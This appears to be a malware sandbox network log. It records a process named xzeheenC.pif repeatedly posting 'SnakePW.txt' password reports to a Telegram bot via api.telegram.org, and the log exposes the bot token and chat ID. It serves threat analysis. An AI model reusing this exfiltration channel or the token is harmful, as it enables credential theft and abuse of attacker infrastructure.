2024-12-18 15:18:19 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 64 30 35 31 31 33 65 66 37 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd21d05113ef78Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:20 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:19 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:20 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 33 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 39 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418931,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535099,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50004	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:21 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd21cf699ce188 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:21 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 63 66 36 39 39 63 65 31 38 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd21cf699ce188Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:21 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:21 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 33 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 30 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418934,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535101,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50005	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:21 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd23627ca5d7a5 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:21 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 33 36 32 37 63 61 35 64 37 61 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd23627ca5d7a5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:22 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:21 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:22 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 33 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 30 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418936,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535101,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50007	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:21 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd21f3fd82474b Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:21 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 66 33 66 64 38 32 34 37 34 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd21f3fd82474bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:22 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:21 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:22 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 33 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 30 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418937,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535101,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50014	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:23 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd221a131b77fa Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:23 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 32 31 61 31 33 31 62 37 37 66 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd221a131b77faContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:24 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:23 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:24 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 34 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 30 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418940,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535103,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50013	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:23 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd23a7e0c358b1 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:23 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 33 61 37 65 30 63 33 35 38 62 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd23a7e0c358b1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:24 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:24 GMT Content-Type: application/json Content-Length: 517 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:24 UTC	517	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 34 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 30 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418943,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535103,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50012	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:23 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd21f715d5f928 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:23 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 66 37 31 35 64 35 66 39 32 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd21f715d5f928Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:24 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:23 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:24 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 34 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 30 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418941,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535103,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50020	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:25 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2228c5d66ead Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:25 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 32 32 38 63 35 64 36 36 65 61 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2228c5d66eadContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
